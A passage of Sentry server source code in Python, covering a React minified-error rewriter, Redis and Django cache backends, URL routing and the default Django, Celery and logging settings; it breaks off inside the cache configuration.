            # tbh not entirely sure how this happens, but raven-js allows this
            # to be caught. I think this comes from dev consoles and whatnot
            # where there is no page. This just bails early instead of exposing
            # a fetch error that may be confusing.
            if f.abs_path == '<anonymous>':
                continue
            pending_file_list.add(f.abs_path)

        for idx, filename in enumerate(pending_file_list):
            self.cache_source(
                filename=filename,
                release=release,
            )






from __future__ import absolute_import

import re
import json
import time
import logging
import random
import six

from django.conf import settings
from django.core.cache import cache
from six.moves.urllib.parse import parse_qsl

from sentry import http
from sentry.utils.strings import count_sprintf_parameters


logger = logging.getLogger(__name__)


SOFT_TIMEOUT = 600
SOFT_TIMEOUT_FUZZINESS = 10
HARD_TIMEOUT = 7200


REACT_MAPPING_URL = ('https://raw.githubusercontent.com/facebook/'
                     'react/master/scripts/error-codes/codes.json')


error_processors = {}


def is_expired(ts):
    return ts > (time.time() - SOFT_TIMEOUT -
                 random.random() * SOFT_TIMEOUT_FUZZINESS)


class Processor(object):

    def __init__(self, vendor, mapping_url, regex, func):
        self.vendor = vendor
        self.mapping_url = mapping_url
        self.regex = re.compile(regex)
        self.func = func

    def load_mapping(self):
        key = 'javascript.errormapping:%s' % self.vendor
        mapping = cache.get(key)
        cached_rv = None
        if mapping is not None:
            ts, cached_rv = json.loads(mapping)
            if not is_expired(ts):
                return cached_rv

        try:
            http_session = http.build_session()
            response = http_session.get(self.mapping_url,
                allow_redirects=True,
                timeout=settings.SENTRY_SOURCE_FETCH_TIMEOUT,
            )
            data = response.json()
            cache.set(key, json.dumps([time.time(), data]), HARD_TIMEOUT)
        except Exception:
            if cached_rv is None:
                raise
            return cached_rv
        return data

    def try_process(self, exc):
        if not exc['value']:
            return False
        match = self.regex.search(exc['value'])
        if match is None:
            return False
        mapping = self.load_mapping()
        return self.func(exc, match, mapping)


def minified_error(vendor, mapping_url, regex):
    def decorator(f):
        error_processors[vendor] = Processor(vendor, mapping_url, regex, f)
    return decorator


@minified_error(
    vendor='react',
    mapping_url=REACT_MAPPING_URL,
    regex=r'Minified React error #(\d+); visit https?://[^?]+\?(\S+)'
)
def process_react_exception(exc, match, mapping):
    error_id, qs = match.groups()
    msg_format = mapping.get(error_id)
    if msg_format is None:
        return False

    arg_count = count_sprintf_parameters(msg_format)
    args = []
    for k, v in parse_qsl(qs, keep_blank_values=True):
        if k == 'args[]':
            args.append(v)

    # Due to truncated error messages we sometimes might not be able to
    # get all arguments.  In that case we fill up missing parameters for
    # the format string with <redacted>.
    args = tuple(args + ['<redacted>'] * (arg_count - len(args)))[:arg_count]
    exc['value'] = msg_format % args

    return True


def rewrite_exception(data):
    """Rewrite an exception in an event if needed.  Updates the exception
    in place and returns `True` if a modification was performed or `False`
    otherwise.
    """
    exc_data = data.get('sentry.interfaces.Exception')
    if not exc_data:
        return False

    rv = False
    for exc in exc_data['values']:
        for processor in six.itervalues(error_processors):
            try:
                if processor.try_process(exc):
                    rv = True
                    break
            except Exception as e:
                logger.error('Failed to run processor "%s": %s',
                             processor.vendor, e, exc_info=True)

    return rv






"""
sentry.cache.redis
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from sentry.utils import json
from sentry.utils.redis import get_cluster_from_options

from .base import BaseCache


class ValueTooLarge(Exception):
    pass


class RedisCache(BaseCache):
    key_expire = 60 * 60  # 1 hour
    max_size = 50 * 1024 * 1024  # 50MB

    def __init__(self, **options):
        self.cluster, options = get_cluster_from_options('SENTRY_CACHE_OPTIONS', options)
        self.client = self.cluster.get_routing_client()

        super(RedisCache, self).__init__(**options)

    def set(self, key, value, timeout, version=None):
        key = self.make_key(key, version=version)
        v = json.dumps(value)
        if len(v) > self.max_size:
            raise ValueTooLarge('Cache key too large: %r %r' % (key, len(v)))
        if timeout:
            self.client.setex(key, int(timeout), v)
        else:
            self.client.set(key, v)

    def delete(self, key, version=None):
        key = self.make_key(key, version=version)
        self.client.delete(key)

    def get(self, key, version=None):
        key = self.make_key(key, version=version)
        result = self.client.get(key)
        if result is not None:
            result = json.loads(result)
        return result






"""
sentry.cache.base
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.conf import settings

from threading import local


class BaseCache(local):
    prefix = 'c'

    def __init__(self, version=None, prefix=None):
        self.version = version or settings.CACHE_VERSION
        if prefix is not None:
            self.prefix = prefix

    def make_key(self, key, version=None):
        return '{}:{}:{}'.format(
            self.prefix,
            version or self.version,
            key,
        )

    def set(self, key, value, timeout, version=None):
        raise NotImplementedError

    def delete(self, key, version=None):
        raise NotImplementedError

    def get(self, key, version=None):
        raise NotImplementedError






from __future__ import absolute_import

__all__ = ['default_cache']

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured

from sentry.utils.imports import import_string

if not settings.SENTRY_CACHE:
    raise ImproperlyConfigured('You must configure ``cache.backend``.')

default_cache = import_string(settings.SENTRY_CACHE)(
    **settings.SENTRY_CACHE_OPTIONS
)






"""
sentry.cache.django
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.core.cache import cache

from .base import BaseCache


class DjangoCache(BaseCache):
    def set(self, key, value, timeout, version=None):
        cache.set(key, value, timeout, version=version or self.version)

    def delete(self, key, version=None):
        cache.delete(key, version=version or self.version)

    def get(self, key, version=None):
        return cache.get(key, version=version or self.version)






"""
sentry.conf.urls
~~~~~~~~~~~~~~~~

These are additional urls used by the Sentry-provided web server

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import debug_toolbar

try:
    from django.conf.urls import include, patterns, url
except ImportError:
    # django < 1.5 compat
    from django.conf.urls.defaults import include, patterns, url  # NOQA

from sentry import django_admin
from sentry.web.urls import urlpatterns as web_urlpatterns
from sentry.web.frontend.csrf_failure import CsrfFailureView
from sentry.web.frontend.error_404 import Error404View
from sentry.web.frontend.error_500 import Error500View

handler404 = Error404View.as_view()
handler500 = Error500View.as_view()


urlpatterns = patterns(
    '',
    url(r'^admin/', include(django_admin.site.urls)),
    url(r'^500/', handler500, name='error-500'),
    url(r'^404/', handler404, name='error-404'),
    url(r'^403-csrf-failure/', CsrfFailureView.as_view(), name='error-403-csrf-failure'),
    url(r'^__debug__/', include(debug_toolbar.urls)),
) + web_urlpatterns






"""
sentry.conf.server
~~~~~~~~~~~~~~~~~~

These settings act as the default (base) settings for the Sentry-provided web-server

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf.global_settings import *  # NOQA

import os
import os.path
import socket
import sys
import tempfile

import sentry

from datetime import timedelta
from six.moves.urllib.parse import urlparse

gettext_noop = lambda s: s

socket.setdefaulttimeout(5)

DEBUG = False
TEMPLATE_DEBUG = True
MAINTENANCE = False

ADMINS = ()

INTERNAL_IPS = ()

MANAGERS = ADMINS

APPEND_SLASH = True

PROJECT_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), os.pardir))

# XXX(dcramer): handle case when we've installed from source vs just running
# this straight out of the repository
if 'site-packages' in __file__:
    NODE_MODULES_ROOT = os.path.join(PROJECT_ROOT, 'node_modules')
else:
    NODE_MODULES_ROOT = os.path.join(PROJECT_ROOT, os.pardir, os.pardir, 'node_modules')

NODE_MODULES_ROOT = os.path.normpath(NODE_MODULES_ROOT)

sys.path.insert(0, os.path.normpath(os.path.join(PROJECT_ROOT, os.pardir)))

DATABASES = {
    'default': {
        'ENGINE': 'sentry.db.postgres',
        'NAME': 'sentry',
        'USER': 'postgres',
        'PASSWORD': '',
        'HOST': '',
        'PORT': '',
        'AUTOCOMMIT': True,
        'ATOMIC_REQUESTS': False,
    }
}


if 'DATABASE_URL' in os.environ:
    url = urlparse(os.environ['DATABASE_URL'])

    # Ensure default database exists.
    DATABASES['default'] = DATABASES.get('default', {})

    # Update with environment configuration.
    DATABASES['default'].update({
        'NAME': url.path[1:],
        'USER': url.username,
        'PASSWORD': url.password,
        'HOST': url.hostname,
        'PORT': url.port,
    })
    if url.scheme == 'postgres':
        DATABASES['default']['ENGINE'] = 'sentry.db.postgres'

    if url.scheme == 'mysql':
        DATABASES['default']['ENGINE'] = 'django.db.backends.mysql'

# This should always be UTC.
TIME_ZONE = 'UTC'

# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'

LANGUAGES = (
    ('af', gettext_noop('Afrikaans')),
    ('ar', gettext_noop('Arabic')),
    ('az', gettext_noop('Azerbaijani')),
    ('bg', gettext_noop('Bulgarian')),
    ('be', gettext_noop('Belarusian')),
    ('bn', gettext_noop('Bengali')),
    ('br', gettext_noop('Breton')),
    ('bs', gettext_noop('Bosnian')),
    ('ca', gettext_noop('Catalan')),
    ('cs', gettext_noop('Czech')),
    ('cy', gettext_noop('Welsh')),
    ('da', gettext_noop('Danish')),
    ('de', gettext_noop('German')),
    ('el', gettext_noop('Greek')),
    ('en', gettext_noop('English')),
    ('eo', gettext_noop('Esperanto')),
    ('es', gettext_noop('Spanish')),
    ('et', gettext_noop('Estonian')),
    ('eu', gettext_noop('Basque')),
    ('fa', gettext_noop('Persian')),
    ('fi', gettext_noop('Finnish')),
    ('fr', gettext_noop('French')),
    ('ga', gettext_noop('Irish')),
    ('gl', gettext_noop('Galician')),
    ('he', gettext_noop('Hebrew')),
    ('hi', gettext_noop('Hindi')),
    ('hr', gettext_noop('Croatian')),
    ('hu', gettext_noop('Hungarian')),
    ('ia', gettext_noop('Interlingua')),
    ('id', gettext_noop('Indonesian')),
    ('is', gettext_noop('Icelandic')),
    ('it', gettext_noop('Italian')),
    ('ja', gettext_noop('Japanese')),
    ('ka', gettext_noop('Georgian')),
    ('kk', gettext_noop('Kazakh')),
    ('km', gettext_noop('Khmer')),
    ('kn', gettext_noop('Kannada')),
    ('ko', gettext_noop('Korean')),
    ('lb', gettext_noop('Luxembourgish')),
    ('lt', gettext_noop('Lithuanian')),
    ('lv', gettext_noop('Latvian')),
    ('mk', gettext_noop('Macedonian')),
    ('ml', gettext_noop('Malayalam')),
    ('mn', gettext_noop('Mongolian')),
    ('my', gettext_noop('Burmese')),
    ('nb', gettext_noop('Norwegian Bokmal')),
    ('ne', gettext_noop('Nepali')),
    ('nl', gettext_noop('Dutch')),
    ('nn', gettext_noop('Norwegian Nynorsk')),
    ('os', gettext_noop('Ossetic')),
    ('pa', gettext_noop('Punjabi')),
    ('pl', gettext_noop('Polish')),
    ('pt', gettext_noop('Portuguese')),
    ('pt-br', gettext_noop('Brazilian Portuguese')),
    ('ro', gettext_noop('Romanian')),
    ('ru', gettext_noop('Russian')),
    ('sk', gettext_noop('Slovak')),
    ('sl', gettext_noop('Slovenian')),
    ('sq', gettext_noop('Albanian')),
    ('sr', gettext_noop('Serbian')),
    ('sv-se', gettext_noop('Swedish')),
    ('sw', gettext_noop('Swahili')),
    ('ta', gettext_noop('Tamil')),
    ('te', gettext_noop('Telugu')),
    ('th', gettext_noop('Thai')),
    ('tr', gettext_noop('Turkish')),
    ('tt', gettext_noop('Tatar')),
    ('udm', gettext_noop('Udmurt')),
    ('uk', gettext_noop('Ukrainian')),
    ('ur', gettext_noop('Urdu')),
    ('vi', gettext_noop('Vietnamese')),
    ('zh-cn', gettext_noop('Simplified Chinese')),
    ('zh-tw', gettext_noop('Traditional Chinese')),
)

from .locale import CATALOGS
LANGUAGES = tuple((code, name) for code, name in LANGUAGES
                  if code in CATALOGS)

SUPPORTED_LANGUAGES = frozenset(CATALOGS)

SITE_ID = 1

# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True

# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale
USE_L10N = True

USE_TZ = True


# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
    'django.template.loaders.filesystem.Loader',
    'django.template.loaders.app_directories.Loader',
)

MIDDLEWARE_CLASSES = (
    'sentry.middleware.proxy.ContentLengthHeaderMiddleware',
    'sentry.middleware.security.SecurityHeadersMiddleware',
    'sentry.middleware.maintenance.ServicesUnavailableMiddleware',
    'sentry.middleware.env.SentryEnvMiddleware',
    'sentry.middleware.proxy.SetRemoteAddrFromForwardedFor',
    'sentry.middleware.debug.NoIfModifiedSinceMiddleware',
    'sentry.middleware.stats.RequestTimingMiddleware',
    'sentry.middleware.stats.ResponseCodeMiddleware',
    'sentry.middleware.health.HealthCheck',  # Must exist before CommonMiddleware
    'django.middleware.common.CommonMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'sentry.middleware.auth.AuthenticationMiddleware',
    'sentry.middleware.sudo.SudoMiddleware',
    'sentry.middleware.superuser.SuperuserMiddleware',
    'sentry.middleware.locale.SentryLocaleMiddleware',
    'sentry.middleware.social_auth.SentrySocialAuthExceptionMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'sentry.debug.middleware.DebugMiddleware',
)

ROOT_URLCONF = 'sentry.conf.urls'

TEMPLATE_DIRS = (
    # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
    # Always use forward slashes, even on Windows.
    # Don't forget to use absolute paths, not relative paths.
    os.path.join(PROJECT_ROOT, 'templates'),
)

TEMPLATE_CONTEXT_PROCESSORS = (
    'django.contrib.auth.context_processors.auth',
    'django.contrib.messages.context_processors.messages',
    'django.core.context_processors.csrf',
    'django.core.context_processors.request',
    'social_auth.context_processors.social_auth_by_name_backends',
    'social_auth.context_processors.social_auth_backends',
    'social_auth.context_processors.social_auth_by_type_backends',
    'social_auth.context_processors.social_auth_login_redirect'
)

INSTALLED_APPS = (
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.messages',
    'django.contrib.sessions',
    'django.contrib.sites',
    'django.contrib.staticfiles',

    'captcha',
    'crispy_forms',
    'debug_toolbar',
    'raven.contrib.django.raven_compat',
    'rest_framework',
    'sentry',
    'sentry.nodestore',
    'sentry.search',
    'sentry.lang.javascript',
    'sentry.lang.native',
    'sentry.plugins.sentry_interface_types',
    'sentry.plugins.sentry_mail',
    'sentry.plugins.sentry_urls',
    'sentry.plugins.sentry_useragents',
    'sentry.plugins.sentry_webhooks',
    'social_auth',
    'south',
    'sudo',
)

STATIC_ROOT = os.path.realpath(os.path.join(PROJECT_ROOT, 'static'))
STATIC_URL = '/_static/{version}/'

STATICFILES_FINDERS = (
    "django.contrib.staticfiles.finders.FileSystemFinder",
    "django.contrib.staticfiles.finders.AppDirectoriesFinder",
)

ASSET_VERSION = 0

# setup a default media root to somewhere useless
MEDIA_ROOT = '/tmp/sentry-media'

LOCALE_PATHS = (
    os.path.join(PROJECT_ROOT, 'locale'),
)

CSRF_FAILURE_VIEW = 'sentry.web.frontend.csrf_failure.view'
CSRF_COOKIE_NAME = 'sc'

# Auth configuration

try:
    from django.core.urlresolvers import reverse_lazy
except ImportError:
    LOGIN_REDIRECT_URL = '/login-redirect/'
    LOGIN_URL = '/auth/login/'
else:
    LOGIN_REDIRECT_URL = reverse_lazy('sentry-login-redirect')
    LOGIN_URL = reverse_lazy('sentry-login')

AUTHENTICATION_BACKENDS = (
    'social_auth.backends.github.GithubBackend',
    'social_auth.backends.bitbucket.BitbucketBackend',
    'social_auth.backends.trello.TrelloBackend',
    'sentry.utils.auth.EmailAuthBackend',
)

SOCIAL_AUTH_USER_MODEL = AUTH_USER_MODEL = 'sentry.User'

SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies"
SESSION_COOKIE_NAME = "sentrysid"
SESSION_SERIALIZER = "django.contrib.sessions.serializers.PickleSerializer"

GOOGLE_OAUTH2_CLIENT_ID = ''
GOOGLE_OAUTH2_CLIENT_SECRET = ''

GITHUB_APP_ID = ''
GITHUB_API_SECRET = ''

TRELLO_API_KEY = ''
TRELLO_API_SECRET = ''

BITBUCKET_CONSUMER_KEY = ''
BITBUCKET_CONSUMER_SECRET = ''

SOCIAL_AUTH_PIPELINE = (
    'social_auth.backends.pipeline.user.get_username',
    'social_auth.backends.pipeline.social.social_auth_user',
    'social_auth.backends.pipeline.associate.associate_by_email',
    'social_auth.backends.pipeline.misc.save_status_to_session',
    'social_auth.backends.pipeline.social.associate_user',
    'social_auth.backends.pipeline.social.load_extra_data',
    'social_auth.backends.pipeline.user.update_user_details',
    'social_auth.backends.pipeline.misc.save_status_to_session',
)

INITIAL_CUSTOM_USER_MIGRATION = '0108_fix_user'

# Auth engines and the settings required for them to be listed
AUTH_PROVIDERS = {
    'github': ('GITHUB_APP_ID', 'GITHUB_API_SECRET'),
    'trello': ('TRELLO_API_KEY', 'TRELLO_API_SECRET'),
    'bitbucket': ('BITBUCKET_CONSUMER_KEY', 'BITBUCKET_CONSUMER_SECRET'),
}

AUTH_PROVIDER_LABELS = {
    'github': 'GitHub',
    'trello': 'Trello',
    'bitbucket': 'Bitbucket'
}

import random

SOCIAL_AUTH_DEFAULT_USERNAME = lambda: random.choice(['Darth Vader', 'Obi-Wan Kenobi', 'R2-D2', 'C-3PO', 'Yoda'])
SOCIAL_AUTH_PROTECTED_USER_FIELDS = ['email']
SOCIAL_AUTH_FORCE_POST_DISCONNECT = True

# Queue configuration
from kombu import Exchange, Queue

BROKER_URL = "redis://localhost:6379"
BROKER_TRANSPORT_OPTIONS = {}

# Ensure workers run async by default
# in Development you might want them to run in-process
# though it would cause timeouts/recursions in some cases
CELERY_ALWAYS_EAGER = False

CELERY_EAGER_PROPAGATES_EXCEPTIONS = True
CELERY_IGNORE_RESULT = True
CELERY_SEND_EVENTS = False
CELERY_RESULT_BACKEND = None
CELERY_TASK_RESULT_EXPIRES = 1
CELERY_DISABLE_RATE_LIMITS = True
CELERY_DEFAULT_QUEUE = "default"
CELERY_DEFAULT_EXCHANGE = "default"
CELERY_DEFAULT_EXCHANGE_TYPE = "direct"
CELERY_DEFAULT_ROUTING_KEY = "default"
CELERY_CREATE_MISSING_QUEUES = True
CELERY_REDIRECT_STDOUTS = False
CELERYD_HIJACK_ROOT_LOGGER = False
CELERY_IMPORTS = (
    'sentry.tasks.auth',
    'sentry.tasks.auto_resolve_issues',
    'sentry.tasks.beacon',
    'sentry.tasks.check_auth',
    'sentry.tasks.clear_expired_snoozes',
    'sentry.tasks.collect_project_platforms',
    'sentry.tasks.deletion',
    'sentry.tasks.digests',
    'sentry.tasks.dsymcache',
    'sentry.tasks.email',
    'sentry.tasks.merge',
    'sentry.tasks.options',
    'sentry.tasks.ping',
    'sentry.tasks.post_process',
    'sentry.tasks.process_buffer',
    'sentry.tasks.reports',
    'sentry.tasks.store',
)
CELERY_QUEUES = [
    Queue('alerts', routing_key='alerts'),
    Queue('auth', routing_key='auth'),
    Queue('cleanup', routing_key='cleanup'),
    Queue('default', routing_key='default'),
    Queue('digests.delivery', routing_key='digests.delivery'),
    Queue('digests.scheduling', routing_key='digests.scheduling'),
    Queue('email', routing_key='email'),
    Queue('events', routing_key='events'),
    Queue('merge', routing_key='merge'),
    Queue('options', routing_key='options'),
    Queue('reports.deliver', routing_key='reports.deliver'),
    Queue('reports.prepare', routing_key='reports.prepare'),
    Queue('search', routing_key='search'),
    Queue('stats', routing_key='stats'),
    Queue('update', routing_key='update'),
]

for queue in CELERY_QUEUES:
    queue.durable = False

CELERY_ROUTES = ('sentry.queue.routers.SplitQueueRouter',)


def create_partitioned_queues(name):
    exchange = Exchange(name, type='direct')
    for num in range(1):
        CELERY_QUEUES.append(Queue(
            '{0}-{1}'.format(name, num),
            exchange=exchange,
        ))

create_partitioned_queues('counters')
create_partitioned_queues('triggers')

from celery.schedules import crontab

CELERYBEAT_SCHEDULE_FILENAME = os.path.join(tempfile.gettempdir(), 'sentry-celerybeat')
CELERYBEAT_SCHEDULE = {
    'check-auth': {
        'task': 'sentry.tasks.check_auth',
        'schedule': timedelta(minutes=1),
        'options': {
            'expires': 60,
            'queue': 'auth',
        }
    },
    'send-beacon': {
        'task': 'sentry.tasks.send_beacon',
        'schedule': timedelta(hours=1),
        'options': {
            'expires': 3600,
        },
    },
    'send-ping': {
        'task': 'sentry.tasks.send_ping',
        'schedule': timedelta(minutes=1),
        'options': {
            'expires': 60,
        },
    },
    'flush-buffers': {
        'task': 'sentry.tasks.process_buffer.process_pending',
        'schedule': timedelta(seconds=10),
        'options': {
            'expires': 10,
            'queue': 'counters-0',
        }
    },
    'sync-options': {
        'task': 'sentry.tasks.options.sync_options',
        'schedule': timedelta(seconds=10),
        'options': {
            'expires': 10,
            'queue': 'options',
        }
    },
    'schedule-digests': {
        'task': 'sentry.tasks.digests.schedule_digests',
        'schedule': timedelta(seconds=30),
        'options': {
            'expires': 30,
        },
    },
    'clear-expired-snoozes': {
        'task': 'sentry.tasks.clear_expired_snoozes',
        'schedule': timedelta(minutes=5),
        'options': {
            'expires': 300,
        },
    },
    # Disabled for the time being:
    # 'clear-old-cached-dsyms': {
    #     'task': 'sentry.tasks.clear_old_cached_dsyms',
    #     'schedule': timedelta(minutes=60),
    #     'options': {
    #         'expires': 3600,
    #     },
    # },
    'collect-project-platforms': {
        'task': 'sentry.tasks.collect_project_platforms',
        'schedule': timedelta(days=1),
        'options': {
            'expires': 3600 * 24,
        },
    },
    'schedule-auto-resolution': {
        'task': 'sentry.tasks.schedule_auto_resolution',
        'schedule': timedelta(minutes=15),
        'options': {
            'expires': 60 * 25,
        },
    },
    'schedule-weekly-organization-reports': {
        'task': 'sentry.tasks.reports.prepare_reports',
        'schedule': crontab(
            minute=0,
            hour=12,  # 05:00 PDT, 09:00 EDT, 12:00 UTC
            day_of_week='monday',
        ),
        'options': {
            'expires': 60 * 60 * 3,
        },
    },
}

# Sentry logs to two major places: stdout, and it's internal project.
# To disable logging to the internal project, add a logger who's only
# handler is 'console' and disable propagating upwards.
# Additionally, Sentry has the ability to override logger levels by
# providing the cli with -l/--loglevel or the SENTRY_LOG_LEVEL env var.
# The loggers that it overrides are root and any in LOGGING.overridable.
# Be very careful with this in a production system, because the celery
# logger can be extremely verbose when given INFO or DEBUG.
LOGGING = {
    'default_level': 'INFO',
    'version': 1,
    'disable_existing_loggers': True,
    'handlers': {
        'null': {
            'class': 'django.utils.log.NullHandler',
        },
        'console': {
            'class': 'sentry.logging.handlers.StructLogHandler',
        },
        'internal': {
            'level': 'ERROR',
            'filters': ['sentry:internal'],
            'class': 'raven.contrib.django.handlers.SentryHandler',
        },
    },
    'filters': {
        'sentry:internal': {
            '()': 'sentry.utils.raven.SentryInternalFilter',
        },
    },
    'root': {
        'level': 'NOTSET',
        'handlers': ['console', 'internal'],
    },
    # LOGGING.overridable is a list of loggers including root that will change
    # based on the overridden level defined above.
    'overridable': ['celery', 'sentry'],
    'loggers': {
        'celery': {
            'level': 'WARN',
        },
        'sentry': {
            'level': 'INFO',
        },
        'sentry.errors': {
            'handlers': ['console'],
            'propagate': False,
        },
        'sentry.rules': {
            'handlers': ['console'],
            'propagate': False,
        },
        'multiprocessing': {
            'handlers': ['console'],
            # https://github.com/celery/celery/commit/597a6b1f3359065ff6dbabce7237f86b866313df
            # This commit has not been rolled into any release and leads to a
            # large amount of errors when working with postgres.
            'level': 'CRITICAL',
            'propagate': False,
        },
        'celery.worker.job': {
            'handlers': ['console'],
            'propagate': False,
        },
        'static_compiler': {
            'level': 'INFO',
        },
        'django.request': {
            'level': 'ERROR',
            'handlers': ['console'],
            'propagate': False,
        },
        'toronado': {
            'level': 'ERROR',
            'handlers': ['null'],
            'propagate': False,
        },
        'urllib3.connectionpool': {
            'level': 'ERROR',
            'handlers': ['console'],
            'propagate': False,
        },
    }
}

# django-rest-framework

REST_FRAMEWORK = {
    'TEST_REQUEST_DEFAULT_FORMAT': 'json',
    'DEFAULT_PERMISSION_CLASSES': (
        'sentry.api.permissions.NoPermission',
    ),
}

CRISPY_TEMPLATE_PACK = 'bootstrap3'

# django-recaptcha

RECAPTCHA_PUBLIC_KEY = None
RECAPTCHA_PRIVATE_KEY = None
NOCAPTCHA = True

CAPTCHA_WIDGET_TEMPLATE = "sentry/partial/form_captcha.html"

# Percy config for visual regression testing.

PERCY_DEFAULT_TESTING_WIDTHS = (1280, 375)

# Debugger

DEBUG_TOOLBAR_PANELS = (
    'debug_toolbar.panels.timer.TimerPanel',
    'sentry.debug.panels.route.RoutePanel',
    'debug_toolbar.panels.templates.TemplatesPanel',

    'debug_toolbar.panels.sql.SQLPanel',
    # TODO(dcramer): https://github.com/getsentry/sentry/issues/1722
    # 'sentry.debug.panels.redis.RedisPanel',
)

DEBUG_TOOLBAR_PATCH_SETTINGS = False

# Sentry and Raven configuration

SENTRY_CLIENT = 'sentry.utils.raven.SentryInternalClient'

SENTRY_FEATURES = {
    'auth:register': True,
    'organizations:api-keys': True,
    'organizations:create': True,
    'organizations:sso': True,
    'organizations:callsigns': False,
    'projects:global-events': False,
    'projects:quotas': True,
    'projects:plugins': True,
    'projects:dsym': False,
}

# Default time zone for localization in the UI.
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
SENTRY_DEFAULT_TIME_ZONE = 'UTC'

# Enable the Sentry Debugger (Beta)
SENTRY_DEBUGGER = False

SENTRY_IGNORE_EXCEPTIONS = (
    'OperationalError',
)

# Should we send the beacon to the upstream server?
SENTRY_BEACON = True

# Allow access to Sentry without authentication.
SENTRY_PUBLIC = False

# Instruct Sentry that this install intends to be run by a single organization
# and thus various UI optimizations should be enabled.
SENTRY_SINGLE_ORGANIZATION = False

# Login url (defaults to LOGIN_URL)
SENTRY_LOGIN_URL = None

# Default project ID (for internal errors)
SENTRY_PROJECT = 1

# Project ID for recording frontend (javascript) exceptions
SENTRY_FRONTEND_PROJECT = None

# Only store a portion of all messages per unique group.
SENTRY_SAMPLE_DATA = True

# The following values control the sampling rates
SENTRY_SAMPLE_RATES = (
    # up until N events, store 1 in M
    (50, 1),
    (1000, 2),
    (10000, 10),
    (100000, 50),
    (1000000, 300),
    (10000000, 2000),
)
SENTRY_MAX_SAMPLE_RATE = 10000
SENTRY_SAMPLE_TIMES = (
    (3600, 1),
    (360, 10),
    (60, 60),
)
SENTRY_MAX_SAMPLE_TIME = 10000

# Web Service
SENTRY_WEB_HOST = 'localhost'
SENTRY_WEB_PORT = 9000
SENTRY_WEB_OPTIONS = {}

# SMTP Service
SENTRY_SMTP_HOST = 'localhost'
SENTRY_SMTP_PORT = 1025

SENTRY_INTERFACES = {
    'csp': 'sentry.interfaces.csp.Csp',
    'device': 'sentry.interfaces.device.Device',
    'exception': 'sentry.interfaces.exception.Exception',
    'logentry': 'sentry.interfaces.message.Message',
    'query': 'sentry.interfaces.query.Query',
    'request': 'sentry.interfaces.http.Http',
    'sdk': 'sentry.interfaces.sdk.Sdk',
    'stacktrace': 'sentry.interfaces.stacktrace.Stacktrace',
    'template': 'sentry.interfaces.template.Template',
    'user': 'sentry.interfaces.user.User',
    'applecrashreport': 'sentry.interfaces.applecrash.AppleCrashReport',
    'breadcrumbs': 'sentry.interfaces.breadcrumbs.Breadcrumbs',
    'contexts': 'sentry.interfaces.contexts.Contexts',
    'threads': 'sentry.interfaces.threads.Threads',
    'debug_meta': 'sentry.interfaces.debug_meta.DebugMeta',
    'sentry.interfaces.Exception': 'sentry.interfaces.exception.Exception',
    'sentry.interfaces.Message': 'sentry.interfaces.message.Message',
    'sentry.interfaces.Stacktrace': 'sentry.interfaces.stacktrace.Stacktrace',
    'sentry.interfaces.Template': 'sentry.interfaces.template.Template',
    'sentry.interfaces.Query': 'sentry.interfaces.query.Query',
    'sentry.interfaces.Http': 'sentry.interfaces.http.Http',
    'sentry.interfaces.User': 'sentry.interfaces.user.User',
    'sentry.interfaces.Csp': 'sentry.interfaces.csp.Csp',
    'sentry.interfaces.AppleCrashReport': 'sentry.interfaces.applecrash.AppleCrashReport',
    'sentry.interfaces.Breadcrumbs': 'sentry.interfaces.breadcrumbs.Breadcrumbs',
    'sentry.interfaces.Contexts': 'sentry.interfaces.contexts.Contexts',
    'sentry.interfaces.Threads': 'sentry.interfaces.threads.Threads',
    'sentry.interfaces.DebugMeta': 'sentry.interfaces.debug_meta.DebugMeta',
}

SENTRY_EMAIL_BACKEND_ALIASES = {
    'smtp': 'django.core.mail.backends.smtp.EmailBackend',
    'dummy': 'django.core.mail.backends.dummy.EmailBackend',
    'console': 'django.core.mail.backends.console.EmailBackend',
}

# set of backends that do not support needing SMTP mail.* settings
# This list is a bit fragile and hardcoded, but it's unlikely that
# a user will be using a different backend that also mandates SMTP
# credentials.
SENTRY_SMTP_DISABLED_BACKENDS = frozenset((
    'django.core.mail.backends.dummy.EmailBackend',
    'django.core.mail.backends.console.EmailBackend',
    'django.core.mail.backends.locmem.EmailBackend',
    'django.core.mail.backends.filebased.EmailBackend',
    'sentry.utils.email.PreviewBackend',
))

# Should users without superuser permissions be allowed to
# make projects public
SENTRY_ALLOW_PUBLIC_PROJECTS = True

# Can users be invited to organizations?
SENTRY_ENABLE_INVITES = True

# Default to not sending the Access-Control-Allow-Origin header on api/store
SENTRY_ALLOW_ORIGIN = None

# Enable scraping of javascript context for source code
SENTRY_SCRAPE_JAVASCRIPT_CONTEXT = True

# Buffer backend
SENTRY_BUFFER = 'sentry.buffer.Buffer'
SENTRY_BUFFER_OPTIONS = {}

# Cache backend
# XXX: We explicitly require the cache to be configured as its not optional
# and causes serious confusion with the default django cache
SENTRY_CACHE = None
SENTRY_CACHE_OPTIONS = {}

# The internal Django cache is still used in many places
# TODO(dcramer): convert uses over to Sentry's backend
CACHES = {
    'default': {
